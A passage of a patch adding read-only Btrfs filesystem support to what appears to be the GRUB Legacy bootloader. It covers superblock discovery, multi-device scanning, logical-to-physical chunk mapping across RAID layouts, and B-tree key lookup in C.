-+{
-+	struct btrfs_super_block *sb = BTRFS_SUPER;
-+
-+	if (sb->nodesize != BTRFS_DEFAULT_NODE_SIZE) {
-+		btrfs_msg("Btrfs node size (%d) != %d unsupported\n",
-+			  sb->nodesize, BTRFS_DEFAULT_NODE_SIZE);
-+		goto error;
-+	}
-+	if (sb->leafsize != BTRFS_DEFAULT_LEAF_SIZE) {
-+ 	        btrfs_msg("Btrfs leaf size (%d) != %d unsupported\n",
-+			  sb->leafsize, BTRFS_DEFAULT_LEAF_SIZE);
-+		goto error;
-+	}
-+	
-+ 	return 0;
-+error:
-+	return 1;
-+}
-+
-+/* lift the super block */
-+static int btrfs_uptodate_super_copy(struct btrfs_fs_info *fs)
-+{
-+	errnum = ERR_NONE;
-+	btrfs_devread(BTRFS_FS_INFO->sb_dev.drive,
-+		      BTRFS_FS_INFO->sb_dev.part,
-+		      BTRFS_FS_INFO->sb_dev.length,
-+		      btrfs_sb_offset(BTRFS_FS_INFO->sb_mirror) >> SECTOR_BITS,
-+		      0,
-+		      sizeof(struct btrfs_super_block),
-+		      (char *)BTRFS_SUPER);
-+	return btrfs_check_super();
-+}
-+  
-+/*
-+ * Looking for a btrfs super block by magic, @fsid and @devid
-+ * (the last two ones are optional). Update latest transid (if
-+ * any). Return 0, if such super block was found. Otherwise,
-+ * return 1.
-+ *
-+ * NOTE:
-+ * After calling this function the sb_copy of global btrfs_fs_info
-+ * can contain garbage, so the caller is responsible for this to be
-+ * uptodate (see the function btrfs_uptodate_super_copy()).
-+ */
-+static int btrfs_find_super(struct btrfs_device *dev, char *fsid, u64 *devid)
-+{
-+	int i, ret;
-+	int found = 0;
-+
-+	for (i = 0; i < BTRFS_SUPER_MIRROR_MAX; i++) {
-+		ret = btrfs_devread(dev->drive,
-+				    dev->part,
-+				    dev->length,
-+				    btrfs_sb_offset(i) >> SECTOR_BITS,
-+				    0,
-+				    sizeof(struct btrfs_super_block),
-+				    (char *)BTRFS_SUPER);
-+		if (!ret) {
-+			if (errnum == ERR_OUTSIDE_PART) {
-+				errnum = ERR_NONE;
-+				break;
-+			} else {
-+				errnum = ERR_NONE;
-+				continue;
-+			}
-+		}
-+		if (btrfs_super_bytenr(BTRFS_SUPER) != btrfs_sb_offset(i) ||
-+		    btrfs_strncmp((char *)(&BTRFS_SUPER->magic),
-+				  BTRFS_MAGIC,
-+				  sizeof(BTRFS_SUPER->magic)))
-+			continue;
-+		if (fsid &&
-+		    btrfs_strncmp(fsid,
-+				  (char *)BTRFS_SUPER->fsid,
-+				  BTRFS_FSID_SIZE))
-+			return 1;
-+		if (devid &&
-+		    *devid != btrfs_super_devid(BTRFS_SUPER))
-+			return 1;
-+		found = 1;
-+		dev->devid = btrfs_super_devid(BTRFS_SUPER);
-+
-+		if (btrfs_super_generation(BTRFS_SUPER) >
-+		    BTRFS_FS_INFO->sb_transid) {
-+			BTRFS_FS_INFO->sb_transid =
-+				btrfs_super_generation(BTRFS_SUPER);
-+			BTRFS_FS_INFO->sb_mirror = i;
-+			BTRFS_FS_INFO->sb_dev.devid =
-+				btrfs_super_devid(BTRFS_SUPER);
-+			BTRFS_FS_INFO->sb_dev.drive = dev->drive;
-+			BTRFS_FS_INFO->sb_dev.part = dev->part;
-+			BTRFS_FS_INFO->sb_dev.length = dev->length;
-+		}
-+	}
-+	return !found;
-+}
-+
-+/*
-+ * "Discern" a btrfs device by fsid and
-+ * optionaly by devid (if lookup is set).
-+ * Populate persistent device cache (if
-+ * there are free slots).
-+ */
-+static int btrfs_discerner(struct btrfs_device **dev, int lookup)
-+{
-+	if (btrfs_find_super(*dev,
-+			     (char *)BTRFS_FS_INFO->fsid,
-+			     (lookup ? &(*dev)->devid : 0)))
-+		/* not found */
-+		return 0;
-+	if (*dev < BTRFS_VOLATILE_DEV_CACHE) {
-+		/* populate persistent device cache */
-+		memcpy(*dev + 1, *dev, sizeof(struct btrfs_device));
-+		(*dev)++;
-+	}
-+	return 1;
-+}
-+
-+/*
-+ * Scan available grub devices and call discerner
-+ * for them. Return a number of discerned devices
-+ * The scanner was stolen from print_completions().
-+ *
-+ * Preconditions:
-+ * The global structure btrfs_fs_info contains
-+ * the latest valid version of btrfs superblock
-+ * (the field @sb_copy)
-+ */
-+static u64 scan_grub_devices(struct btrfs_device *dev,
-+			     int (*discerner)(struct btrfs_device **, int),
-+			     int lookup)
-+{
-+	int i, j;
-+	u64 count = 0;
-+	struct geometry geom;
-+
-+	for (i = 0; i < 2; i++)
-+		for (j = 0; j < 8; j++) {
-+			unsigned long part = 0xFFFFFF;
-+			int type, entry, gpt_count, gpt_size;
-+			unsigned long offset, ext_offset, gpt_offset;
-+
-+			dev->drive = (i * 0x80) + j;
-+			if (get_diskinfo(dev->drive, &geom))
-+				continue;
-+			while (1) {
-+				int ret;
-+				buf_drive = -1;
-+				errnum = ERR_NONE;
-+				ret = next_partition(dev->drive, 0xFFFFFF,
-+						     &part, &type, &dev->part,
-+						     &dev->length, &offset,
-+						     &entry, &ext_offset,
-+						     &gpt_offset, &gpt_count,
-+						     &gpt_size,
-+						     BTRFS_FS_INFO->mbr);
-+				if (!ret)
-+					break;
-+				if (discerner(&dev, lookup)) {
-+					count++;
-+					if (lookup)
-+						goto exit;
-+				}
-+			}
-+		}
-+#if 0
-+	errnum = ERR_NONE;
-+	if (cdrom_drive != GRUB_INVALID_DRIVE &&
-+	    !get_diskinfo(cdrom_drive, &geom)) {
-+		dev->drive = cdrom_drive;
-+		dev->part = 0;
-+		dev->length = geom.total_sectors;
-+		if (discerner(&dev, lookup)) {
-+			count++;
-+			if (lookup)
-+				goto exit;
-+		}
-+	}
-+#ifdef SUPPORT_NETBOOT
-+	errnum = ERR_NONE;
-+	if (network_ready &&
-+	    !get_diskinfo(NETWORK_DRIVE, &geom)) {
-+		dev->drive = NETWORK_DRIVE;
-+		dev->part = 0;
-+		dev->length = geom.total_sectors;
-+		if (discerner(&dev, lookup)) {
-+			count++;
-+			if (lookup)
-+				goto exit;
-+		}
-+	}
-+#endif /* SUPPORT_NETBOOT */
-+#endif /* 0 */
-+ exit:
-+	return count;
-+}
-+
-+#if 0
-+static int btrfs_next_item(struct btrfs_root *root,
-+			   struct btrfs_path *path);
-+
-+/*
-+ * Scan the chunk tree for dev items
-+ * and call a seeker for all of them.
-+ * Preconditions: chunk root is installed
-+ * to the global btrfs_fs_info.
-+ */
-+static int scan_dev_tree(struct btrfs_device* (*seeker)(u64))
-+{
-+	int ret;
-+	u64 num_devices = 0;
-+	struct btrfs_key key;
-+	struct btrfs_key found_key;
-+	struct btrfs_path *path;
-+	struct btrfs_root *root;
-+
-+	root = BTRFS_CHUNK_ROOT;
-+	path = btrfs_grab_path(FIRST_EXTERNAL_LOOKUP_POOL);
-+	key.objectid = BTRFS_DEV_ITEMS_OBJECTID;
-+	key.type = 0;
-+	key.offset = 0;
-+
-+	ret = aux_tree_lookup(root, &key, path);
-+	if (ret == -1)
-+		goto corrupted;
-+	while (1) {
-+		struct btrfs_device *result;
-+		struct btrfs_dev_item *dev_item;
-+
-+		btrfs_item_key_to_cpu(&path->nodes[0],
-+				      &found_key,
-+				      path->slots[0]);
-+		if (found_key.objectid != BTRFS_DEV_ITEMS_OBJECTID)
-+			break;
-+		dev_item = btrfs_item_ptr(&path->nodes[0],
-+					  path->slots[0],
-+					  struct btrfs_dev_item);
-+		result = seeker(btrfs_device_id(&path->nodes[0], dev_item));
-+		if (result == NULL) {
-+			btrfs_msg("Btrfs device %llu is not available\n",
-+				  btrfs_device_id(&path->nodes[0], dev_item));
-+			goto missed_dev;
-+		}
-+		num_devices++;
-+		ret = btrfs_next_item(root, path);
-+		if (ret)
-+			break;
-+	}
-+	if (num_devices == btrfs_super_num_devices(BTRFS_SUPER))
-+		return 0;
-+ corrupted:
-+	errnum = ERR_FSYS_CORRUPT;
-+	return 1;
-+ missed_dev:
-+	errnum = ERR_FSYS_MOUNT;
-+	return 1;
-+}
-+#endif /* 0 */
-+
-+/*
-+ * Find a grub btrfs device by devid.
-+ * Preconditions: global btrfs_fs_info
-+ * contains a copy of btrfs super block.
-+ *
-+ * Return pointer to the cached device on success.
-+ * Otherwise return NULL.
-+ */
-+static struct btrfs_device *btrfs_lookup_device(u64 devid)
-+{
-+	int i, result;
-+	struct btrfs_device *cdev;
-+
-+	for (i = 0; i < BTRFS_NUM_CACHED_DEVICES; i++) {
-+		cdev = &BTRFS_DEVICES[i];
-+		if (cdev->devid == devid)
-+			goto found_in_cache;
-+		if (cdev->devid == 0)
-+			goto not_found_in_cache;
-+	}
-+not_found_in_cache:
-+	cdev = BTRFS_VOLATILE_DEV_CACHE;
-+	cdev->devid = devid;
-+	result = scan_grub_devices(cdev,
-+				   btrfs_discerner,
-+				   1);
-+	if (result == 0)
-+		/*
-+		 * At mount time we have figured out that
-+		 * number of available devices is not less
-+		 * then number of devices recorded in the
-+		 * super block. Hence we treat this case as
-+		 * file system corruption.
-+		 */
-+		goto corrupt;
-+	result = btrfs_uptodate_super_copy(BTRFS_FS_INFO);
-+	if (result)
-+		goto corrupt;
-+found_in_cache:
-+	return cdev;
-+corrupt:
-+	errnum = ERR_FSYS_CORRUPT;
-+	return NULL;
-+}
-+
-+static int btrfs_find_device(struct btrfs_device *dev)
-+{
-+	struct btrfs_device *cdev;
-+
-+	if (btrfs_super_num_devices(BTRFS_SUPER) == 1) {
-+		dev->drive = current_drive;
-+		dev->part = part_start;
-+		dev->length = part_length;
-+		return 0;
-+	}
-+	cdev = btrfs_lookup_device(dev->devid);
-+	if (cdev == NULL)
-+		return 1;
-+	dev->drive  = cdev->drive;
-+	dev->part   = cdev->part;
-+	dev->length = cdev->length;
-+	return 0;
-+}
-+
-+static inline void init_btrfs_volatile_dev_cache(void)
-+{
-+	BTRFS_VOLATILE_DEV_CACHE->devid = 0;
-+	BTRFS_VOLATILE_DEV_CACHE->drive = current_drive;
-+	BTRFS_VOLATILE_DEV_CACHE->part = part_start;
-+	BTRFS_VOLATILE_DEV_CACHE->length = part_length;
-+}
-+
-+/*
-+ * check availability of btrfs devices
-+ * and populate the persistent device cache
-+ */
-+static int btrfs_check_devices(void)
-+{
-+	u64 num_dev;
-+
-+	if (btrfs_super_num_devices(BTRFS_SUPER) == 1)
-+		return 0;
-+	num_dev = scan_grub_devices(BTRFS_DEVICES,
-+				    btrfs_discerner, 0);
-+	if (btrfs_uptodate_super_copy(BTRFS_FS_INFO))
-+		return 1;
-+	if (num_dev < btrfs_super_num_devices(BTRFS_SUPER)) {
-+		btrfs_msg("Some (%llu) Btrfs devices is not available\n",
-+			  btrfs_super_num_devices(BTRFS_SUPER) - num_dev);
-+	        return 1;
-+	}
-+	return 0;
-+}
-+
-+int btrfs_mount(void)
-+{
-+	int ret;
-+
-+	check_btrfs_cache_size();
-+	init_btrfs_info();
-+	init_btrfs_volatile_dev_cache();
-+
-+	ret = btrfs_find_super(BTRFS_VOLATILE_DEV_CACHE, NULL, NULL);
-+	if (ret) {
-+		btrfs_msg("Drive %lu, partition %lu: no Btrfs metadata\n",
-+			  current_drive, part_start);
-+		goto error;
-+	}
-+	ret = btrfs_uptodate_super_copy(BTRFS_FS_INFO);
-+	if (ret)
-+		goto error;
-+	BTRFS_FS_INFO->sb_transid =
-+		btrfs_super_generation(BTRFS_SUPER);
-+	memcpy(BTRFS_FS_INFO->fsid,
-+	       BTRFS_SUPER->fsid,
-+	       BTRFS_FSID_SIZE);
-+	ret = btrfs_check_devices();
-+	if (ret)
-+		goto error;
-+	/* setup chunk root */
-+	ret = find_setup_root(NULL,
-+			      btrfs_super_nodesize(BTRFS_SUPER),
-+			      btrfs_super_leafsize(BTRFS_SUPER),
-+			      btrfs_super_sectorsize(BTRFS_SUPER),
-+			      btrfs_super_stripesize(BTRFS_SUPER),
-+			      BTRFS_CHUNK_TREE_OBJECTID,
-+			      BTRFS_CHUNK_ROOT,
-+			      btrfs_super_chunk_root(BTRFS_SUPER),
-+			      btrfs_chunk_root_level_size(BTRFS_SUPER),
-+			      btrfs_super_chunk_root_generation(BTRFS_SUPER),
-+			      FIRST_EXTERNAL_LOOKUP_POOL);
-+	if (ret)
-+		return 0;
-+	/* setup tree root */
-+	ret = find_setup_root(NULL,
-+			      btrfs_super_nodesize(BTRFS_SUPER),
-+			      btrfs_super_leafsize(BTRFS_SUPER),
-+			      btrfs_super_sectorsize(BTRFS_SUPER),
-+			      btrfs_super_stripesize(BTRFS_SUPER),
-+			      BTRFS_ROOT_TREE_OBJECTID,
-+			      BTRFS_TREE_ROOT,
-+			      btrfs_super_root(BTRFS_SUPER),
-+			      btrfs_root_level_size(BTRFS_SUPER),
-+			      btrfs_super_generation(BTRFS_SUPER),
-+			      FIRST_EXTERNAL_LOOKUP_POOL);
-+	if (ret)
-+		return 0;
-+	/* setup fs_root */
-+	ret = find_setup_root(BTRFS_TREE_ROOT,
-+			      btrfs_super_nodesize(BTRFS_SUPER),
-+			      btrfs_super_leafsize(BTRFS_SUPER),
-+			      btrfs_super_sectorsize(BTRFS_SUPER),
-+			      btrfs_super_stripesize(BTRFS_SUPER),
-+			      BTRFS_FS_TREE_OBJECTID,
-+			      BTRFS_FS_ROOT,
-+			      0,
-+			      0,
-+			      0,
-+			      FIRST_EXTERNAL_LOOKUP_POOL);
-+	return !ret;
-+
-+error:
-+	errnum = ERR_FSYS_MOUNT;
-+	return 0;
-+}
-+
-+/*
-+ * Check, whether @chunk is the map for a
-+ * block with @logical block number.
-+ * If yes, then fill the @map.
-+ * Return 1 on affirmative result,
-+ * otherwise return 0.
-+ */
-+int check_read_chunk(struct btrfs_key *key,
-+			    struct extent_buffer *leaf,
-+			    struct btrfs_chunk *chunk,
-+			    struct map_lookup *map,
-+			    u64 logical)
-+{
-+	int i, ret;
-+	u64 chunk_start;
-+	u64 chunk_size;
-+	int num_stripes;
-+
-+	chunk_start = key->offset;
-+	chunk_size = btrfs_chunk_length(leaf, chunk);
-+
-+	if (logical + 1 > chunk_start + chunk_size ||
-+	    logical < chunk_start)
-+		/* not a fit */
-+		return 0;
-+	num_stripes = btrfs_chunk_num_stripes(leaf, chunk);
-+	map->ce.start = chunk_start;
-+	map->ce.size = chunk_size;
-+	map->num_stripes = num_stripes;
-+	map->io_width = btrfs_chunk_io_width(leaf, chunk);
-+	map->io_align = btrfs_chunk_io_align(leaf, chunk);
-+	map->sector_size = btrfs_chunk_sector_size(leaf, chunk);
-+	map->stripe_len = btrfs_chunk_stripe_len(leaf, chunk);
-+	map->type = btrfs_chunk_type(leaf, chunk);
-+	map->sub_stripes = btrfs_chunk_sub_stripes(leaf, chunk);
-+
-+	for (i = 0; i < num_stripes; i++) {
-+		map->stripes[i].physical =
-+			btrfs_stripe_offset_nr(leaf, chunk, i);
-+		map->stripes[i].dev.devid =
-+			btrfs_stripe_devid_nr(leaf, chunk, i);
-+		ret = btrfs_find_device(&map->stripes[i].dev);
-+		if (ret)
-+			return 0;
-+	}
-+	return 1;
-+}
-+
-+static void init_extent_buffer(struct extent_buffer *eb,
-+			       struct btrfs_device *dev,
-+			       u64 logical,
-+			       u32 blocksize,
-+			       u64 physical,
-+			       lookup_pool_id lpid)
-+{
-+	if (dev)
-+		memcpy(&eb->dev, dev, sizeof(*dev));
-+	eb->start = logical;
-+	eb->len = blocksize;
-+	eb->dev_bytenr = physical;
-+	eb->data = grab_lookup_cache(lpid);
-+}
-+
-+/*
-+ * Search for a map by logical offset in sys array.
-+ * Return -1 on errors;
-+ * Return 1 if the map is found,
-+ * Return 0 if the map is not found.
-+ */
-+int sys_array_lookup(struct map_lookup *map, u64 logical)
-+{
-+	struct extent_buffer sb;
-+	struct btrfs_disk_key *disk_key;
-+	struct btrfs_chunk *chunk;
-+	struct btrfs_key key;
-+	u32 num_stripes;
-+	u32 array_size;
-+	u32 len = 0;
-+	u8 *ptr;
-+	unsigned long sb_ptr;
-+	u32 cur;
-+	int ret;
-+	int i = 0;
-+
-+	sb.data = (char *)BTRFS_SUPER;
-+	array_size = btrfs_super_sys_array_size(BTRFS_SUPER);
-+
-+	ptr = BTRFS_SUPER->sys_chunk_array;
-+	sb_ptr = offsetof(struct btrfs_super_block, sys_chunk_array);
-+	cur = 0;
-+
-+	while (cur < array_size) {
-+		disk_key = (struct btrfs_disk_key *)ptr;
-+		btrfs_disk_key_to_cpu(&key, disk_key);
-+
-+		len = sizeof(*disk_key);
-+		ptr += len;
-+		sb_ptr += len;
-+		cur += len;
-+
-+		if (key.type == BTRFS_CHUNK_ITEM_KEY) {
-+			chunk = (struct btrfs_chunk *)sb_ptr;
-+			ret = check_read_chunk(&key, &sb,
-+					       chunk, map, logical);
-+			if (ret)
-+				/* map is found */
-+				return ret;
-+			num_stripes = btrfs_chunk_num_stripes(&sb, chunk);
-+			len = btrfs_chunk_item_size(num_stripes);
-+		} else {
-+			errnum = ERR_FSYS_CORRUPT;
-+			return -1;
-+		}
-+		ptr += len;
-+		sb_ptr += len;
-+		cur += len;
-+		i++;
-+	}
-+	return 0;
-+}
-+
-+/*
-+ * Search for a map by logical offset in the chunk tree.
-+ * Return 1 if map is found, otherwise return 0.
-+ */
-+static int chunk_tree_lookup(struct map_lookup *map,
-+			     u64 logical)
-+{
-+	int ret;
-+	int slot;
-+	struct extent_buffer *leaf;
-+	struct btrfs_key key;
-+	struct btrfs_key found_key;
-+	struct btrfs_chunk *chunk;
-+	struct btrfs_path *path;
-+
-+	path = btrfs_grab_path(INTERNAL_LOOKUP_POOL);
-+
-+	key.objectid = BTRFS_FIRST_CHUNK_TREE_OBJECTID;
-+	key.offset = logical;
-+	key.type = BTRFS_CHUNK_ITEM_KEY;
-+
-+	ret = aux_tree_lookup(BTRFS_CHUNK_ROOT, &key, path);
-+	if (ret < 0)
-+		return 0;
-+	leaf = &path->nodes[0];
-+	slot = path->slots[0];
-+	if (ret == 1) {
-+		WARN_ON(slot == 0);
-+		slot -= 1;
-+	}
-+	btrfs_item_key_to_cpu(leaf, &found_key, slot);
-+	if (found_key.type != BTRFS_CHUNK_ITEM_KEY)
-+		return 0;
-+	chunk = btrfs_item_ptr(leaf, slot, struct btrfs_chunk);
-+	return check_read_chunk(&found_key, leaf,
-+				chunk, map, logical);
-+}
-+
-+/*
-+ * Btrfs logical/physical block mapper.
-+ * Look for an appropriate map-extent and
-+ * perform a translation. Return 1 on errors.
-+ */
-+static int btrfs_map_block(u64 logical, u64 *length,
-+			   struct btrfs_multi_bio *multi,
-+			   int mirror_num)
-+{
-+	struct map_lookup map;
-+	u64 offset;
-+	u64 stripe_offset;
-+	u64 stripe_nr;
-+	struct cache_extent *ce;
-+	int stripe_index;
-+	int i;
-+	int ret;
-+
-+	memset(&map, 0, sizeof(map));
-+	ret = sys_array_lookup(&map, logical);
-+	if (ret == -1) {
-+		errnum = ERR_FSYS_CORRUPT;
-+		return 1;
-+	}
-+	if (ret == 0) {
-+		ret = chunk_tree_lookup(&map, logical);
-+		if (!ret) {
-+			/* something should be found! */
-+			errnum = ERR_FSYS_CORRUPT;
-+			return 1;
-+		}
-+	}
-+	/* do translation */
-+	ce = &map.ce;
-+
-+	offset = logical - ce->start;
-+	stripe_nr = offset / map.stripe_len;
-+	stripe_offset = stripe_nr * map.stripe_len;
-+	WARN_ON(offset < stripe_offset);
-+
-+	stripe_offset = offset - stripe_offset;
-+
-+	if (map.type & (BTRFS_BLOCK_GROUP_RAID0 | BTRFS_BLOCK_GROUP_RAID1 |
-+			 BTRFS_BLOCK_GROUP_RAID10 |
-+			 BTRFS_BLOCK_GROUP_DUP)) {
-+		*length = min_t(u64, ce->size - offset,
-+			      map.stripe_len - stripe_offset);
-+	} else {
-+		*length = ce->size - offset;
-+	}
-+	multi->num_stripes = 1;
-+	stripe_index = 0;
-+	if (map.type & BTRFS_BLOCK_GROUP_RAID1) {
-+		if (mirror_num)
-+			stripe_index = mirror_num - 1;
-+		else
-+			stripe_index = stripe_nr % map.num_stripes;
-+	} else if (map.type & BTRFS_BLOCK_GROUP_RAID10) {
-+		int factor = map.num_stripes / map.sub_stripes;
-+
-+		stripe_index = stripe_nr % factor;
-+		stripe_index *= map.sub_stripes;
-+
-+		if (mirror_num)
-+			stripe_index += mirror_num - 1;
-+		else
-+			stripe_index = stripe_nr % map.sub_stripes;
-+
-+		stripe_nr = stripe_nr / factor;
-+	} else if (map.type & BTRFS_BLOCK_GROUP_DUP) {
-+		if (mirror_num)
-+			stripe_index = mirror_num - 1;
-+	} else {
-+		stripe_index = stripe_nr % map.num_stripes;
-+		stripe_nr = stripe_nr / map.num_stripes;
-+	}
-+	WARN_ON(stripe_index >= map.num_stripes);
-+
-+	for (i = 0; i < multi->num_stripes; i++) {
-+		asm("" : "+r"(multi));
-+		multi->stripes[i].physical =
-+			map.stripes[stripe_index].physical + stripe_offset +
-+			stripe_nr * map.stripe_len;
-+		memcpy(&multi->stripes[i].dev,
-+		       &map.stripes[stripe_index].dev,
-+		       sizeof(struct btrfs_device));
-+		stripe_index++;
-+	}
-+	return 0;
-+}
-+
-+static u64 read_data_extent(u64 logical_start, u64 to_read, char *pos)
-+{
-+	int ret;
-+	u64 length;
-+	struct btrfs_multi_bio multi;
-+
-+	while (to_read) {
-+		ret = btrfs_map_block(logical_start, &length, &multi, 0);
-+		if (ret) {
-+			errnum = ERR_FSYS_CORRUPT;
-+			return ret;
-+		}
-+		if (length > to_read)
-+			length = to_read;
-+		disk_read_func = disk_read_hook;
-+		ret = btrfs_devread(multi.stripes[0].dev.drive,
-+				    multi.stripes[0].dev.part,
-+				    multi.stripes[0].dev.length,
-+				    multi.stripes[0].physical >> SECTOR_BITS,
-+				    logical_start & ((u64)SECTOR_SIZE - 1),
-+				    length,
-+				    pos);
-+		disk_read_func = NULL;
-+		if (!ret)
-+			return 1;
-+		btrfs_msg("BTRFS data extent: read %llu bytes\n", length);
-+		to_read -= length;
-+		pos += length;
-+		logical_start += length;
-+	}
-+	return 0;
-+}
-+
-+static int read_extent_from_disk(struct extent_buffer *eb)
-+{
-+	WARN_ON(eb->dev_bytenr % SECTOR_BITS);
-+	return btrfs_devread(eb->dev.drive,
-+			     eb->dev.part,
-+			     eb->dev.length,
-+			     eb->dev_bytenr >> SECTOR_BITS,
-+			     0,
-+			     eb->len,
-+			     eb->data);
-+}
-+
-+static int verify_parent_transid(struct extent_buffer *eb, u64 parent_transid)
-+{
-+	return parent_transid && (btrfs_header_generation(eb) != parent_transid);
-+}
-+
-+static int btrfs_num_copies(u64 logical, u64 len)
-+{
-+	return 1;
-+}
-+
-+static int check_tree_block(struct btrfs_root *root, struct extent_buffer *buf)
-+{
-+	return 0;
-+}
-+
-+static int csum_tree_block(struct btrfs_root *root, struct extent_buffer *buf,
-+		    int verify)
-+{
-+	return 0;
-+}
-+
-+/*
-+ * Read a block of logical number @bytenr
-+ * from disk to buffer @eb.
-+ * Return 1 on success.
-+ */
-+int read_tree_block(struct btrfs_root *root,
-+		    struct extent_buffer *eb,
-+		    u64 bytenr, /* logical */
-+		    u32 blocksize,
-+		    u64 parent_transid,
-+		    lookup_pool_id lpid)
-+{
-+	int ret;
-+	int dev_nr;
-+	u64 length;
-+	struct btrfs_multi_bio multi;
-+	int mirror_num = 0;
-+	int num_copies;
-+
-+	dev_nr = 0;
-+	length = blocksize;
-+	while (1) {
-+		ret = btrfs_map_block(bytenr,
-+				      &length, &multi, mirror_num);
-+		if (ret) {
-+			errnum = ERR_FSYS_CORRUPT;
-+			return 0;
-+		}
-+		init_extent_buffer(eb,
-+				   &multi.stripes[0].dev,
-+				   bytenr,
-+				   blocksize,
-+				   multi.stripes[0].physical,
-+				   lpid);
-+
-+		ret = read_extent_from_disk(eb);
-+		if (ret &&
-+		    check_tree_block(root, eb) == 0 &&
-+		    csum_tree_block(root, eb, 1) == 0 &&
-+		    verify_parent_transid(eb, parent_transid) == 0)
-+			return 1;
-+
-+		num_copies = btrfs_num_copies(eb->start, eb->len);
-+		if (num_copies == 1)
-+			break;
-+		mirror_num++;
-+		if (mirror_num > num_copies)
-+			break;
-+	}
-+	return 0;
-+}
-+
-+/*
-+ * Read a child pointed by @slot node pointer
-+ * of @parent. Put the result to @parent.
-+ * Return 1 on success.
-+ */
-+static int parent2child(struct btrfs_root *root,
-+			struct extent_buffer *parent,
-+			int slot,
-+			lookup_pool_id lpid)
-+{
-+	int level;
-+
-+	WARN_ON(slot < 0);
-+	WARN_ON(slot >= btrfs_header_nritems(parent));
-+
-+	level = btrfs_header_level(parent);
-+	WARN_ON(level <= 0);
-+
-+	return read_tree_block(root,
-+			       parent,
-+			       btrfs_node_blockptr(parent, slot),
-+			       btrfs_level_size(root, level - 1),
-+			       btrfs_node_ptr_generation(parent, slot),
-+			       lpid);
-+}
-+
-+static int btrfs_comp_keys(struct btrfs_disk_key *disk, struct btrfs_key *k2)
-+{
-+	struct btrfs_key k1;
-+
-+	btrfs_disk_key_to_cpu(&k1, disk);
-+
-+	if (k1.objectid > k2->objectid)
-+		return 1;
-+	if (k1.objectid < k2->objectid)
-+		return -1;
-+	if (k1.type > k2->type)
-+		return 1;
-+	if (k1.type < k2->type)
-+		return -1;
-+	if (k1.offset > k2->offset)
-+		return 1;
-+	if (k1.offset < k2->offset)
-+		return -1;
-+	return 0;
-+}
-+
-+static int bin_search(struct extent_buffer *eb, unsigned long p,
-+		      int item_size, struct btrfs_key *key,
-+		      int max, int *slot)
-+{
-+	int low = 0;
-+	int high = max;
-+	int mid;
-+	int ret;
-+	unsigned long offset;
-+	struct btrfs_disk_key *tmp;
-+
-+	while(low < high) {
-+		mid = (low + high) / 2;
-+		offset = p + mid * item_size;
-+
-+		tmp = (struct btrfs_disk_key *)(eb->data + offset);
-+		ret = btrfs_comp_keys(tmp, key);
-+
-+		if (ret < 0)
-+			low = mid + 1;
-+		else if (ret > 0)
-+			high = mid;
-+		else {
-+			*slot = mid;
-+			return 0;
-+		}
-+	}
-+	*slot = low;
-+	return 1;
-+}
-+
-+/* look for a key in a node */
-+static int node_lookup(struct extent_buffer *eb,
-+		       struct btrfs_key *key,
-+		       int *slot)
-+{
-+	if (btrfs_header_level(eb) == 0) {
-+		return bin_search(eb,
-+				  offsetof(struct btrfs_leaf, items),
-+				  sizeof(struct btrfs_item),
-+				  key, btrfs_header_nritems(eb),
-+				  slot);
-+	} else {
-+		return bin_search(eb,
-+				  offsetof(struct btrfs_node, ptrs),
-+				  sizeof(struct btrfs_key_ptr),
-+				  key, btrfs_header_nritems(eb),
-+				  slot);
-+	}
-+	return -1;
-+}
-+
-+static inline int check_node(struct extent_buffer *buf, int slot)
-+{
-+	return 0;
-+}
-+
-+/*
-+ * Look for an item by key in read-only tree.
-+ * Return 0, if key was found. Return -1 on io errors.
-+ *
-+ * Preconditions: btrfs_mount already executed.
-+ * Postconditions: if returned value is non-negative,
-+ * then path[0] represents the found position in the
-+ * tree. All components of the @path from leaf to root
-+ * are valid except their data buffers (only path[0]
-+ * has valid attached data buffer).
-+ */
-+
-+int aux_tree_lookup(struct btrfs_root *root,
-+		    struct btrfs_key *key,
-+		    struct btrfs_path *path)
-+{
-+	int ret;
-+	int slot = 0;
-+	int level;
-+	struct extent_buffer node;
-+	init_extent_buffer(&node,
-+			   NULL,
-+			   0,
-+			   0,
-+			   0,
-+			   path->lpid);
-+	copy_extent_buffer(&node, &root->node);
-+	do {
-+		level = btrfs_header_level(&node);
-+		ret = check_node(&node, slot);
-+		if (ret)
-+			return -1;
-+		move_extent_buffer(&path->nodes[level],
-+				   &node);
-+		ret = node_lookup(&node, key, &slot);
-+		if (ret < 0)
-+			return ret;
-+		if (level) {
-+		        /*
-+			 * non-leaf,
-+			 * jump to the next level
-+			 */
-+			if (ret && slot > 0)
-+			        slot -= 1;
-+			ret = parent2child(root, &node, slot, path->lpid);
-+			if (ret == 0)
-+				return -1;
-+		}
-+		path->slots[level] = slot;
-+	} while (level);
-+	return ret;
-+}
-+
-+static int readup_buffer(struct extent_buffer *buf, lookup_pool_id lpid)
-+{
-+	buf->data = grab_lookup_cache(lpid);
-+	return read_extent_from_disk(buf);
-+}
-+
-+/*
-+ * Find the next leaf in accordance with tree order;
-+ * walk up the tree as far as required to find it.
-+ * Returns 0 if something was found, or 1 if there
-+ * are no greater leaves. Returns < 0 on io errors.
-+ *
-+ * Preconditions: all @path components from leaf to
-+ * root have valid meta-data fields. path[0] has a
-+ * valid attached data buffer with initial leaf.
-+ * Postcondition: the same as above, but path[0] has
-+ * an attached data buffer with the next leaf.
-+ */
-+static int btrfs_next_leaf(struct btrfs_root *root,
-+			   struct btrfs_path *path)
-+{
-+	int res;
-+	int slot;
-+	int level = 1;
-+	struct extent_buffer *buf;
-+
-+	while(level < BTRFS_MAX_LEVEL) {
-+		buf = &path->nodes[level];
-+		slot = path->slots[level] + 1;
-+		/*
-+		 * lift data on this level
-+		 */
-+		res = readup_buffer(buf, path->lpid);
-+		if (!res)
-+			break;
-+		if (slot >= btrfs_header_nritems(buf)) {
-+			/* alas, go to parent (if any) */
-+			level++;
-+			res = 1;
-+			continue;
-+		}
-+		break;
-+	}
-+	if (!res)
-+		return 1;
-+	/*
-+	 * At this level slot points to
-+	 * the subtree we are interested in.
-+	 */
-+	path->slots[level] = slot;
-+	while(level) {
-+		struct extent_buffer tmp;
-+		move_extent_buffer(&tmp, &path->nodes[level]);
-+		res = parent2child(root, &tmp, slot, path->lpid);
-+		if (res == 0)
-+			return -1;
-+		level --;
-+		slot = 0;
-+		move_extent_buffer(&path->nodes[level], &tmp);
-+		path->slots[level] = slot;
-+	}
-+	return 0;
-+}
-+
-+/* Preconditions: path is valid, data buffer
-+ * is attached to leaf node.
-+ * Postcondition: path is updated to point to
-+ * the next position with respect to the tree
-+ * order.
-+ *
-+ * Return -1 on io errors.
-+ * Return 0, if next item was found.
